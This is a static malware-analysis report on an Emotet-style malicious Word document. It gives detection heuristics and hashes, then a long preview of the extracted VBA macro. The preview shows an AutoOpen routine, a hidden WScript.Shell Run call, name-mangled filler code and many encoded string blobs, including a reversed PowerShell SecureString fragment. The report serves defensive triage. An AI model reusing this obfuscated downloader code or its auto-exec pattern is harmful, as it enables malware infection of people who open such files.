Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c3022a55561133ef…

MALICIOUS

Office (OLE)

182.0 KB Created: 2018-03-16 13:46:00 Authoring application: Microsoft Office Word First seen: 2018-05-18
MD5: 28b24e6495e753538fbb71b3e366a37a SHA-1: 52aca2cd31e61679d016dac3cbc40b7e06221c0f SHA-256: c3022a55561133ef265a52dfd7588728f5c53a3bf92c77885f755bc1cdf3be79
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, suggesting the macros are designed to execute arbitrary commands. The ClamAV detection and the presence of a 'macros.bas' file further support its malicious nature, likely acting as a downloader for a second-stage payload.

Heuristics 10

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          KRhqN = fzaPb / EKuVE
      aNAAKNMub = "WScript.Shell"
      sVzQD = koczz + PJrIYO
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          tGwvZG = lzPww + MvQDiA
CreateObject(aNAAKNMub).Run HwFpEKz + Chr(VBA.vbKeyC) + wsVqdfqhowwWj + XtaTYMKI + JUGOUaRjDo, vbHide
      WKsHfO = Hex(vAIqOI / Int(93793))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "KEGtZjFld"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 38457 bytes
SHA-256: b7ffe426723c6164171bcf158e3554750467d337b9515b8421b950b4436700cb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
758 of 1269 identifiers look randomly generated (e.g. 'YAmBwMAcDAyAAOAMDA4AwNAkDAxAQMAUGAxAwYAg') — consistent with name-mangling obfuscation. Carved artifact contains 28 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "iCvrJrClTdZpY"
Function jUNlEznikcEQFv()
On Error Resume Next
      vTXbsC = Hex(NRjlG / Int(53088))
      tZjtd = zUKmzc / KKzTsz
      zLPMPm = CzJSw + fdWzDq
zXSndfjRoP = sdNfi("0aAAMAEDA1AQMAQGAiBQYAEDA4AwNAUGA1AwMAcDAyAgZAkDAhBgMAQDA2AAMAgDAzAAZAIDAxAAOAcDAmBQYAMGA5AAOAEGAjBQZAkDA5AwNAkDA2AQMAADAyAQNAYDA4AQNAIGAiBANAADAiBAOAEDAhBQYAEGAqLbX", 5 + 0, 159 + 0)
      jbJlcP = Hex(NDRPs / Int(14175))
      QhJXdr = vUAUD / JhnBPB
      RWCij = YDwhtZ + KPvMZZ
      QdEzrO = Hex(NMijY / Int(41730))
      qtVJrz = sBdJct / htFSsd
      IqhYa = pJfQmY + zSTVoj
FzhKmCIDll = sdNfi("irA1AQNAYGA4AgNAEGA0AAOAYDAwAQMAIGA4AwNAMDAzAQNAUDAmBgNAUDA1AANAQGA2AgNAkDA4AgYAMDA5AQZAcDAzAQYAEGAzAQZAkDA4AQZAEGAjBQZAcDAxAQZAQDAwAgZAIDA5AgZAQGAkBAOAcDAlBwMAMDAxAADdLIwb", 7 + 0, 164 + 0)
      YcbpOU = Hex(fSYNjr / Int(54899))
      CnkRzB = VNWEzj / akdLi
      jPrKFG = qHCGj + PPjkX
      Zbwzt = Hex(siAwDY / Int(18276))
      trlEjw = OrBcA / nzBAlo
      lkpCD = LZmvqs + Akzkdw
fEihfzSK = sdNfi("LpYAUGA2AQYAADA3AwNAUGA0AAOAYDAzAQNAQDAyAgMAcDA2AANAEGAjBwMAYDAiBQOAUDAyAQMAIDA0AgYAEDA3AAMAQDAiBAZAMGAmBQYAIGAmBgMAQa7LNI", 6 + 0, 115 + 0)
      BKjzXt = Hex(EhwvS / Int(68193))
      CICjBi = wcwKjL / DzRXoz
      bBsfK = GsnAXJ + zbuBcN
      tiTsD = Hex(JHUTK / Int(26426))
      EBWGi = ojiqA / bipafl
      HEIJX = JFzRH + SphZjX
BBrbiJYFfp = sdNfi("OvP((& p3q5,L", 7 + 0, 4 + 0)
      hBRsKs = Hex(BbfTh / Int(79438))
      nGJwrw = UHqOas / CuFJCh
      VpMzR = FhZik + OiiXd
      Icmmjs = Hex(wuqCv / Int(95798))
      AdQQw = lvjbpA / EkuVNM
      GASncX = cbscPA + AwYaFj
abGqa = sdNfi("1YAmBwMAcDAyAAOAMDA4AwNAkDAxAQMAUGAxAwYAgDAwAgZAgDA3AQNAMGAyAAZAEDAyAwMAkDAwAgNAYGA2AwNAADA3AwNAIGA5AQYAMGAwAAMAADAiBwYAkDAhBwMAkDAkBwMAMDA0AAOAEDA3AgQ0lrc", 6 + 0, 148 + 0)
      MtLziM = Hex(OzUpj / Int(10596))
      zLcnb = JUqzZ / wDnVv
      fstHH = uKIOcX + jviBlw
      oIVhW = Hex(HsUIQ / Int(43988))
      tURORa = zTzni / iOvjBd
      UUZmL = ZoIPpN + OTEmD
jzIHizsHW = sdNfi("Aonuiu9467'($(isNaCollAlaBOLGoTgNiRtSERUCeS::]lAHSrAm.sEcIvREspORetNi.emitNUR[ (isnaGNirtsotRTP::]LaHsRam.SEcIVrespORETni.EMITNuR[ (( )''nIOj-]2,11,3[EMan.)'*Rdm*' VgL", 2 + 0, 160 + 0)
      YGHULi = Hex(casznH / Int(74692))
      SZviC = BQrEHZ / iKKIdO
      QNAOE = NwwKb + aGwuJI
      ozJIoW = Hex(CzTGKK / Int(68290))
      AruYR = FNFMw / lmAjfh
      BuLihF = GABOZ + uEBXFJ
CbnRtquajG = sdNfi("P8SMqGTwYAMGAzAQMAgDAkBAZAEDA0AQMAMDA0AAZAYGA4AAZAgDA4AgZAUDA1AgMAgDA2AQNAYDA2AgMAQGA4AAMAIGAhBQOAMDA4AANAADAlBQYAEDAkBwYAQGAjBAMAMDA4AAZAkDA2AQMAgDA2AQMAIGAxAgNAUDAyAQYAIDAhBwYAL0", 3 + 0, 171 + 0)
      MilEw = Hex(qsQzja / Int(55240))
      iLoJN = NNFMq / Tlhkdd
      LYSJG = oPMpDR + wDMtNN
      ZbQou = Hex(rAPTj / Int(38673))
      MdwqZ = tuANH / JFhdzi
      KQdUar = KvIKHt + IwAbTi
ztBzd = sdNfi("N9UlPOo))) ) ))78..46( K- gnirtseRUCES-oTtRevNoc | '==AA3AQYAMDAzAANAgDAwAQZAADT", 2 + 0, 72 + 0)
      fVZOJ = Hex(lDKWQ / Int(77916))
      JtiJVw = GzlpFO / AHjBfA
      fvDGRl = HkluT + hPPrG
      GjkHOG = Hex(HBtCT / Int(90065))
      dfboTa = Rrkqm / dZiVS
      INzEOT = iznjXV + BJfis
dQjCozBlacM = sdNfi("zhrwAIDAlBgYAYGAjBQNAUGA1AAOAQGAzAwNAUGAkBwYAQGAkBgMAIGA0AQZAIGAkBAOAgDAhBAMAIGAxAwNAMDAwAgYAkDAmBwMAMGAzAwYAYDAjBgNAYDA4AwMAcDPRH.", 5 + 0, 123 + 0)
      UjpsA = Hex(bhriT / Int(45269))
      imPibM = VwIdK / UVXTu
      cwQZY = DzrQm + UInni
      PfzGP = Hex(zuSDna / Int(21616))
      qjJlJA = RIsDlX / fdcYGz
      PIamE = TOzsmD + iCnrjr
LcllRdloNwr = sdNfi("vFsIDAwAgZAYGAkBAZAIDAxAQNAIGAkBQMAUDAyAgZAgDA0AANAQDAhBgMAgDAyAAZAkDA0AQZAUDA4AwMAADAmBQZAgDA2AQOAUGAwAgNAEDAlBQMAYGAmBwNAADA5AANAEGA5AQZAMGA5AANAYGA1AwNhC,", 4 + 0, 151 + 0)
      zXGDdT = Hex(PpbPT / Int(25464))
      bXjzF = KDIAQ / lzcpks
      EErBW = kbEYY + TqMHfE
      YpFDS = Hex(JjSnuq / Int(24342))
      swwLt = sZbMi / nsjRiO
      mjnJb = HvdNB + HsGwO
iTvXO = sdNfi("bi@8N.CFMAADAwAgNAADA1AQOAYGA2AQNAYGA1AQOAQGAiBgMAQDAwAAOAYGA1AAMAgDA3AgZAIDAlBAZAIGA2AAOAYDAxAgNAMGAyAQMAADAyAAOAUDAxAQNAIGAjBgZAIGAjBwMAYGA4AwYAMGB", 2 + 0, 140 + 0)
      PjXaz = Hex(sUSvQ / Int(818))
      FjTal = mWvmL / LasaH
      wRJTiz = jZQHw + icNvm
      OItEBK = Hex(WscVVT / Int(69954))
      uiCcKK = DdXHQu / BCVQnq
      SBTMv = hOnYm + JTKRLJ
mfLszDOBK = sdNfi(",j8%AIDA0AQYAIGAyAQMAMGAmBgMAcDAkBgYAIGAmBQYAQGAhBAZAkDAyAwYAMGAjBANAQDAwAANAgDA5AwNAUGAzAQOAEDAzAAMAYGA0AgMAIGAyAAMAcDAmBwNAEGA1AwNAEGAhBQOAADA1AAOAcDAxAgMAYDAwAwMAkDA4AgZAYGAwAgZAcDAxAwMAEi6", 3 + 0, 184 + 0)
      nEPht = Hex(hZqaAE / Int(62869))
      jbjiPO = tppwV / kcrkJH
      DFCUZ = Oiqnn + Fsasd
      MEGIak = Hex(QzbOR / Int(93117))
      dFitW = aEJTlX / HXpTD
      TcIRv = uXvoMO + VNKqs
LjpURkwz = sdNfi(",RNA3AQOAYDA0AwNAcDAwAgMAUDAhBQZAQGAzAwMAYGA4AAOAEGA5AgMAEDAwAAOAUGAyAANAADAjBwMAEGAiBANAYDAmBQOAQGAkBQYAYGAzAgNAQGAzAgNAUGA4AgNAUDAkBANAQGA4AgZAEGA5AgZAYwv@", 4 + 0, 151 + 0)
      YDGIu = Hex(WCQHtH / Int(15636))
      GcrVo = LcHfQz / TBGwj
      GfINUN = YfiQCh + DMtVo
      zvliu = Hex(LsBikm / Int(24000))
      frfmbk = jmHmT / TYmvE
      DEbiz = piwTT + LwLzG
WwDGwPcKBvz = sdNfi("TI7F%l4gNAEGAzAgMAcDAxAANAIGA4AgYAEGA3AwNAMDAmBgMAIGAiBwNAMDA3AgZAIGA5AQNAkDAyAQMAcDAkBgNAEGAkBwMIH", 3 + 0, 90 + 0)
      mazSN = Hex(drair / Int(39588))
      ifiIn = NfhlC / QTnaX
      USZJd = lqSAH + LqdDlo
      CDIBj = Hex(rtwwWM / Int(64481))
      BMsjB = jcIUTU / lSwRq
      HOZDf = ZWowmm + pBwnkN
tiQAbw = sdNfi("939m1AQDAlBwMAADAhBQYAUGAhBANAMDA4AwNAMGAjBgYAYGAwAQNAMDAlBAZAQGAhBAMAgDAjBwYAMDA4AQMAUGAhBAZAQDAyAQMAYDAlBAZAEGAkBQOAYGA3AANAgDAlBgYAkDAmBwMAMGAyAAMAIDAyAANAcDA3AQMAUGAwAANAEGA1Afs", 3 + 0, 174 + 0)
      nXZuo = Hex(MWGbzh / Int(61417))
      ZDcINH = DsfVho / EoiODW
      koiPzQ = QNwFG + PwTfWG
      omORo = Hex(GqVzNl / Int(65120))
      EDhwi = TZDSY / RqoQbA
      IdKmvU = paqvjF + SwhlzF
dwVkdrBTBs = sdNfi("w1Rz9AyAwYAEDA1AgZAEGA0AAZAgDAiBAOAkDAwAgZAQDAwAQMAgDA1AAZAkDA0AwMAUDA0AwYAgDAxAQZAIGA0AgMAYGAzAQYAQDAxAgZAEGAhBgMAkDA2AANAkDAiBgZAgDAyAAOAEDAzAAN5V,", 4 + 0, 141 + 0)
      nPjvt = Hex(NQBFYN / Int(82952))
      itQmb = StiHiS / zuHiiu
      VObrBb = ZYkXWO + jCRzV
      GHqCBG = Hex(PnoNCA / Int(18072))
      EIaZZM = GUtdTw / AKEir
      tjUwXG = zJfZlI + EMvOQ
DCqltVGq = sdNfi("U84AiBwNAcDA0AQZAcDAyAgYAEGAzAAMAQGA5AwNAcDAmBAZAMDAyAwMAIGAjBgZAcDAiBgYAUDA0AQZAkDAlBj8p,0", 6 + 0, 83 + 0)
      NAVJXn = Hex(KndJTI / Int(47865))
      YniCSf = zpTsLh / nPpSO
      sLLYk = VKjWF + jffYRL
      dwCiGL = Hex(VzZzQ / Int(18898))
      vODSmk = dVERvi / aXZCM
      Filjq = iQpIlw + hEAlS
LkTwEZoj = sdNfi("cNOAcDAiBAZAkDAmBgMAMDA2AAZAkDA3AwYAMGAiBQLSBF@w", 7 + 0, 40 + 0)
      FzzdzQ = Hex(hCvZA / Int(95119))
      mcMdU = mBRnMS / dwDZm
      YGXFE = SfRjUP + osiEr
      ZcThfw = Hex(ozvoOi / Int(70014))
      bTGWN = FGcHE / mscKo
      zpFQBj = jukrXn + zkNCLE
EZoRIzuQoBQ = sdNfi("4oIGAmBwNAYGA1AwYAYDA1AQMAcDAwAQOAIDAiBAOAADAjBwNAYDA4AgZAIDAjBwNAUDAhBQNAcDAiBQNAQGAyAQZAQGA3AwNAQDAzAAZAEDAkBAZAUDAmBgZAADAwBXF4Z8", 7 + 0, 124 + 0)
      cTVqZb = Hex(CvXkAn / Int(68249))
      EKRWbj = UPFTU / Cfawj
      WVjabI = iwNHW + ACfCkp
      Yrqmc = Hex(jmLJv / Int(63654))
      Jofilk = zAtJs / VuaSWZ
      zUnAL = ZGNRiL + TdEXOK
EsGLd = sdNfi("i.T@WsA0AQZAYDAmBAZAUDA3AAZAkDAjBQZAkDA4AwMAcDAlBwMAcDA0AwNAkDAzAQMTw8", 4 + 0, 61 + 0)
      vSXzht = Hex(pmMtmW / Int(30823))
      pBiSLK = kjOzz / spDEMo
      jzpSR = kUAXsp + boDsvw
      EdibnR = Hex(dDzhmH / Int(87952))
      NjPlCh = FrntMt / GqYDO
      DQGMjF = IdwQmR + TfCaJ
jPqpUduDPS = sdNfi("bpAUDA0AQMAQGAjBQOAMGAhBwNAMDAkBQZAADA2AAZAkDA3AANAIGA1AAZAIDAzAQOAkDAiBQYAcDAlBQMAQDAkBgMAQDAlBQZAUGAjBgYAcDAjBgMAUGAjBgZAEGA1AQZAUDAmBQYAADA4AANAkDA4AQNAIGz89I", 5 + 0, 155 + 0)
      KXnnu = Hex(wczJI / Int(65898))
      GawaDF = jlcuXH / Zhbnwu
      cfcSR = GWLUoh + KtXEzV
      LjFGMI = Hex(jIavzE / Int(63314))
      ZblKs = wvbFr / qrSzmf
      mTrGi = TPiMf + VMfZF
YzlzMOVVOq = sdNfi("4HAUGAyAgMAIGAzAAMAADAjBQYAEDAwAQZAkDAzAgZAQDAyAwMAYGAkBQOAkDAiBQMAgDA3AAOAYGA2AQNAYDA5AwNAcDA3AQZAQGA0AANAQGA1AAMAMDAwAwMAgDA5AgMAkDAwAgYAADAhBAMAUGA0AQOAADA1AQYAkDAkBQNAUGA2AgZAIYmzb", 5 + 0, 178 + 0)
      wqYPnd = Hex(VUusq / Int(55770))
      Tzulh = HvZnR / wfWbLR
      DppjX = OEJuYX + jWFVSt
      nALUQp = Hex(wwMfA / Int(16981))
      pIaEWb = MPXuMA / WiwIn
      BwEAEP = zzYlBq + owzsIK
OUoSHQ = sdNfi("9NGAkBwYAIGAwAwYAkDAwAwYAEDAlBQOAIDA3AAZAIGAwAQOAUD7PMI7", 6 + 0, 49 + 0)
      akoaDp = Hex(cUNWMV / Int(48835))
      EaAGso = rmsWR / ZhGzdt
      NQaAaj = iLOoV + wsWsC
      aHjim = Hex(sbfwH / Int(94017))
      cpVcC = jHjPn / vwOKSj
      ZKdOL = WlllAi + TFtnY
WhFoK = sdNfi("%706zGAyAgYAgDAmBQMAYDAxAQZAYDAkBAZAIDAzAwMAIGA5AwYAUDA5AAOAcDAjBgMAUGAlBgMAUDAkBQZAMDAlBgZAgDAxAANAQDAhBQYAcDAwAwYAQDAiBQYAMDAzAgZAEGAxAgYAkDAmBQOAADA2AQNAEGA5AAMAgDAyAwMAEGAmBQYA@T", 3 + 0, 175 + 0)
      WkBBrs = Hex(trDdQM / Int(35178))
      XJwaJ = fQzVjk / RqCam
      KWXJm = TzfiI + nMXww
      WBkJw = Hex(zYzXG / Int(98693))
      dTFzRj = PWmQk / PTPZC
      YJTid = ONkhK + iGwKG
SfPWkov = sdNfi("0j2ZSB3AkDA5BAMAQEAXBANAADA3AwMAMEAyAgRAMFA8BgM5435a05061b3143240f3476111d2Y", 2 + 0, 68 + 0)
      ZPItAz = Hex(TZiFf / Int(17628))
      UnaaK = bbCTVi / PidRE
      ozmJf = TTKwj + EYmCv
      IJodL = Hex(siGCfF / Int(19458))
      VLowjF = ipzfQi / BsMHXs
      IwcwK = qkccDE + cnizua
ufDGjanTjX = sdNfi("YGdL1GA1AAOAYGAyAgNAYDAyAQMAcDAlBAMAwHA9AQPAcHAjBAOAUGA2AQSAIHAuBwMSr8o", 5 + 0, 62 + 0)
      ZUpzuN = Hex(cNpXi / Int(34400))
      NPMzZP = wMWcMo / OKNMwB
      nHfBwY = XnEUm + OXVzV
      FndGNZ = Hex(DHtbAL / Int(98817))
      iLzow = ZRaGz / jInvvR
      mhttV = lEqswM + TmjVw
TiYjSIdK = sdNfi("YfoMjbh5s", 6 + 0, 1 + 0)
      YSjVCA = Hex(wtvTw / Int(61491))
      nNikRc = MGiZi / uGuYRz
      tFFLq = FbsJWu + dPGDw
      nDbKsj = Hex(cwzKV / Int(67717))
      WqfXwI = tpjqfb / iuAXds
      aPEth = OtuwaF + sSIbLT
KzmSmBTEPXL = sdNfi("hzc3F,QZAEDA2AgMAMGA4AAMAkDAmBwNAIGAzAAZAUDA0AAOAkDA3AQYAQGAlBwMAgDA3AAMb", 2 + 0, 66 + 0)
      tOsTMI = Hex(wCwms / Int(82874))
      vbbiP = hAukQ / ptMmZM
      AQMXk = ZYPrvM + ONzqjz
      jclioX = Hex(iQcIcw / Int(73134))
      hMVQH = SZcSY / YzjzY
      DDswmk = CjtUB + BzRGw
DsOmTXhsSOz = sdNfi("39IGAmBwMAkDAmBAZAcDA5AQZAEGA0AAOAIGAiBgNAEGAwAAOAEGAmBQOAMDAkBwMAEGAhBQNAUGAkBsbn47,G", 8 + 0, 77 + 0)
      SldNCJ = Hex(QDJij / Int(59259))
      wvijkZ = zFbZEa / WTHsj
      GsZpp = XTPtAJ + QFFRkV
      sDUQGm = Hex(Ijddz / Int(85409))
      zrwdJi = wzNsXi / Fliudo
      jzKRwB = wEASuB + CBMpPE
cplFP = sdNfi("uMbMAYGAwAAMAMGA4AQNAMDAiBgMAQGAzAQOAkDAkBAZAMDA4AAOAgDA0AgZAADAmBAOAUDAzAgYAIGA5AQZAYDA4AQMAYGAiBQYAIDAyAAMAkDA1AQZAQDAxAQMAIGA2AQYAADAhBwNAMGAyAgYAcsYm", 4 + 0, 147 + 0)
      FGYiDi = Hex(vuiWE / Int(13225))
      rmLNc = AsNZdh / DjVFNk
      dtljsW = AKRvpu + KOBcnN
      RLihHv = Hex(sRwjB / Int(35045))
      ohcwj = DYDTMz / JSjnj
      dAWfZj = fqfcn + vnJjvL
tdErjn = sdNfi("Lr8gMAgDAjBwYAIDAlBwNAUGAlBAZAMGAiBAZAEDA0AQYAEGAmBQZAMDA5AQMAYGAmBQNAkDAwAAOAcDAmBwMAMGA4AQMAUDAkBgNAQDA5AQMAUDAhBQZBA3", 4 + 0, 114 + 0)
      TntHK = Hex(HVLZl / Int(17833))
      KoKRC = PXINs / jPDmzm
      bTYqHP = FbnTQ + TmmHcs
      TszRhi = Hex(CWncm / Int(71619))
      NwZUt = CKEZOd / wmlAc
      aWCwpa = IBCzzV + oQJali
ECaaUzp = sdNfi("nFWu2wNGA5AwYAEDA0AQOAQGAiBgMAYGAmBANAMDAzAwNAUGAyAgNAEDA3AAMAcDAzAQOAUGA3AgNAUGA5AQNAUGA2AQZAEDAxAgNAMDA5AQOAYGA5AQZAQDAjBgYAIDA3AAMAYDAjBANAcDAkBQZAcDA1AwNAMGAyAQNAgDmo", 3 + 0, 161 + 0)
      vJoYCD = Hex(WQlmzL / Int(20241))
      LCkuHi = IGato / hcKPz
      iNNXmW = mkQLz + ivFHp
      UQQuT = Hex(GcEMB / Int(38748))
      dGEtGE = CFCjli / qWTDzp
      WBFdK = juUsA + ZcrWTo
tozsOEK = sdNfi("cz2zp6AQDAzAQZAUDAmBgZAMGA0AAOAgDAxAgNAkDA5AwMAUGAlBQOAQDAhBAZAMDAyAwYAEDA5AbF.", 4 + 0, 70 + 0)
      ZCPNj = Hex(pQQFl / Int(16741))
      iUGEw = wwMHk / isEHw
      zOjQV = nYUUr + ojjwO
      zrrVwj = Hex(lJdtP / Int(74838))
      oFDoww = NRzMr / JRZqi
      szQZsR = ZqDIqG + wzSwV
rURHwnftHJn = sdNfi("XAS1ZrAyAAZAIDAiBwNAUDAmBgNAYGAyAQZAgDAyAAZAUDAmBwYAkDA2AANAYGAkBwMAgDA1AANAYDAkBgZAEDAyAgNAMGAyAQMAMDAwAQYAMGA1AgYAYDAwAQZAADAxA4HS", 4 + 0, 123 + 0)
      ZWmZr = Hex(HduUj / Int(75967))
      RuhYf = WFYSJ / IFXHJ
      aUJYVK = hjKPfV + UfpZQ
      HoHwv = Hex(uzwdmz / Int(36202))
      woUcjL = Jtzst / PqoqFQ
      tFmrQB = ILLpGU + iOqtNB
tYwbuqrfz = sdNfi("zSaY9AIGA4AQNAcDA5AwNAkDA2AANAcDA5AwNAkDAxAAOAUDA3AgZAUDA1AAZAIGAjBQMAYDA0AQOAYDAkBgYAQGA2AgMAEGA1AgNAMGA3AAZAEGAlBQYAMGAwAAMAUDAjBAZAgDAyAQMAUDAlBwMAYGAiBgYuU", 3 + 0, 152 + 0)
      wvHGC = Hex(fJHmhi / Int(83163))
      qCdMh = HzhKlY / hcwzr
      VvKil = EEwDY + XdkrM
      NjraNV = Hex(qzalJ / Int(76690))
      ibPhIm = oslLCb / AWJlZI
      bzvVh = zHdJwu + cqJrWs
zzrQmBZVS = sdNfi("FbYFYDAmBAOAUDAhBwNAEDAiBAOAkDAxAQOAIGA4AQZAQDAmBwMAQDA5AAOAIGAyAQNAEDAwAQNAUGAyAAMAcDAlBgMAIGA1AAZAQGA4AgYAIGAiBgYAcDAmhU", 3 + 0, 115 + 0)
      ZrFPK = Hex(QqcRzk / Int(59851))
      DdTLb = jhPbOI / XJNRPj
      okrjKm = JiMKL + UZMpf
      Buopr = Hex(TbrWUH / Int(26674))
      qIiAi = ZjuXzJ / qzvCwl
      OUAjVC = YEMWGC + ticXXt
NkOwJwtoOu = sdNfi("iYs1AgNAEDAkBwMAQDAhBANAgDAzAANAkDA3AAMAYDA4AAZAgDA5JBr", 4 + 0, 49 + 0)
      UzQqiF = Hex(ivTYVW / Int(16259))
      IwfjL = bhBsG / wTTiYs
      tUktm = LuItwk + mXVdsr
      UWmjDz = Hex(lCzRk / Int(49161))
      dbXIHK = XVuBjp / JWvPU
      OMnvI = kQENVS + qfmctB
zjtLQ = sdNfi("9uL,wrAwYAIGAjBwYAcDA3AwYAIDA3AANAcDAiBAZAMDAmBQYAEGAwAANAMGAkBgMAADAwAQZAIGA2AwNAUGA3AQOAIDA3AwNAYDA3AgNAQGAyAwMAUDA5AQMAkDAmBQZAQGA2AQZAEGA4AANAIGAhBwNAkDAwAANAQDA5AgMAEDAyw", 2 + 0, 168 + 0)
      OwAsi = Hex(KNbjE / Int(2885))
      QNRoc = RaTSH / imwXX
      BOwuRL = MkiXpY + TBcdO
      UVsIs = Hex(zEoBU / Int(19356))
      iJhEXP = YdAHuK / TiYUo
      LcXYaC = WWBfJh + ZGpDQ
PMHGjnK = sdNfi("omFB%AUDA0AQMAIDAkBQYAkDAmBANAUDAiBwYAgDAmBgZAUDAxAgYAMGAjBgMAYGAwAAZAYGAxAwMAADAhBQYAQDAjBAOAUDAkBQOAYGA5AQNAEDA0AwMAYDAhBANAgDAmBAOAEGAkBQNAUGAzAwMAYDAiBgYAEDA1AQMAEGA5AAOAEDA1AgMAQGAzAwNAMGAyAAOAADA1S8G", 4 + 0, 197 + 0)
      KsqUk = Hex(hAdVP / Int(62934))
      dTGlId = bWBbV / MuzMsU
      nVTlD = NVnsBm + dEwSVh
      ADczz = Hex(MBjEwl / Int(27835))
      XmvZlU = SBGrDI / ZzHvF
      lGNcdj = mkVTOE + ClEFj
fnsBmjNzO = sdNfi("ulAAMAADAjBAMAUDAjBQMAADA1AAZAUDAyAANAcDAiBQOAMDAkBwMAMGA4AA9cbB", 5 + 0, 58 + 0)
      WiCWGw = Hex(qcmwC / Int(61506))
      pRYSwC = Hifmcw / UntCP
      GDErW = JpKzZR + TMkNlI
      VqULsT = Hex(AcZpR / Int(89996))
      QSjFV = dlBrrJ / MjQojp
      OcEbW = wAJNt + cwQjz
DzwaIXSca = sdNfi("@kzTUwYAMGAlBgYAQGAxAQYAUGAkBAZAMGAxAAMAkDAkBwYAQGAlBANAIGA3AQYAkDA0AAMAUGA2AAOAgDA3AgMAMDAhBwNAYGAiBQNAgDAlBAOAEDAxAQYAkDAkBAOAgDAhBgZAQDAjBQMAUGAzAgZAADAxAQMAQGAlBAMAMDA3AQOAQGAxAg6b", 3 + 0, 177 + 0)
      KvMjo = Hex(TjkpQM / Int(71997))
      cXtnN = jEhdc / zdjnvz
      RZuKi = aHmjIj + bnmFDc
      qMsjOp = Hex(cdEEn / Int(67418))
      rvaons = wAaSGW / fdStCG
      PqQbrf = ziQLt + irwAZ
HPwwtSY = sdNfi("sNwNAMGAkBQMAUDpiss8z", 7 + 0, 12 + 0)
      zuMRN = Hex(SSzAl / Int(20009))
      dzbFJN = NZzRJH / EInfS
      uGDDY = UYMPw + GaQUGl
      qjORIS = Hex(zDarn / Int(92822))
      ISzHk = EPSjKY / jrzwoR
      CrUmab = uNQiRc + WrJWDO
MRprMpVIUS = sdNfi("Bib0AANAQGA4AANAUGAyAQYAQDA0AQZAUGAwAQOAEDAxAAOAEDAyAwYAkDAkBQMAIDA0AANAgDAhBQOAIDAkBQZAcDA0AQYAEGA5AgNAMDAhBwNAQDAxAAOAADAiBAZAMDAlBgYAMDAiBgNAkDAwAwYAMDHqG", 4 + 0, 151 + 0)
      aRfGjo = Hex(IEcCVD / Int(2547))
      wLhJq = CBAtv / JApbkC
      caofq = OmInjv + qGswp
      zaGUsi = Hex(YYnQhc / Int(50280))
      wBkjZ = WYlnMw / kFKoMI
      cEwaaf = waLGou + ALDDK
TYiwVGjawDB = sdNfi(".fAAOAQGAlBgMAIDAxAwMAMGA3AANAYDAyAAcirDz0X", 8 + 0, 34 + 0)
      cCUjf = Hex(CnSccV / Int(38613))
      ftFJGu = XzajY / MjtGl
      tBZkP = rcnjzj + TzsHGu
      flXwdL = Hex(jiWhEm / Int(68682))
      OmLmjQ = USpjz / BiqDj
      RciEa = jpwPbz + KOXjNo
YiRdwihz = sdNfi("6IlBQMAcDAkBQNAIDAiBwNAMGA5AANAADA2AgYAADAmBANAUDAiBgYAEDAmBgMAYDA0AgYAUGAlBAZAIDAwAgYAUGAwAQMAADAhBwYAgDA0AwNAEDAwAgZAEGAlBwNAcDA3AQZAgDAjBQMAEJNbGr", 6 + 0, 141 + 0)
      OZQFI = Hex(MqfAjd / Int(47706))
      SHjhl = zbIFqs / osizcP
      FrLcw = dpKwiz + irHqz
      qduzu = Hex(FiNSHP / Int(84444))
      JqjZA = iwYvUM / iYfdvp
      sfXRQw = nLuOr + NnIunM
ozrOrmwvEtr = sdNfi("q3iJtAgDA18oK", 5 + 0, 4 + 0)
      ZsEwf = Hex(wWKhoM / Int(49279))
      QdSOI = aqmdh / QduPkp
      UCAbZl = zmdiFC + fzKqf
      CjvIi = Hex(dbQEwS / Int(98038))
      bDFZQz = zXplnV / pSYfY
      FNGwX = sWljtN + NuoibQ
SBcjISLL = sdNfi("AIHhT9AYDAlBgNAYGAzAwMAMGAkBQZAkDA1AgYAcDAwAAOAYGA0AAZAIDAwAQYAMDAmBwMAcDAw,", 2 + 0, 69 + 0)
      YEMFXq = Hex(QlwjT / Int(89257))
      XNzJCk = aLqwY / HSBkzP
      nBBAZj = blnAa + DpjqY
      Khjzn = Hex(XzEqzR / Int(32493))
      VOWhm = CjpvQc / JBTuE
      ndWlOU = IopHj + HdnGKb
wHsoqKIEZh = sdNfi("bbYI%i7AQYAIGAkBAZAEDAzAQOAQDAyAAOAcDAxAQMAYDA4AQOAcDAiBgNAU", 2 + 0, 52 + 0)
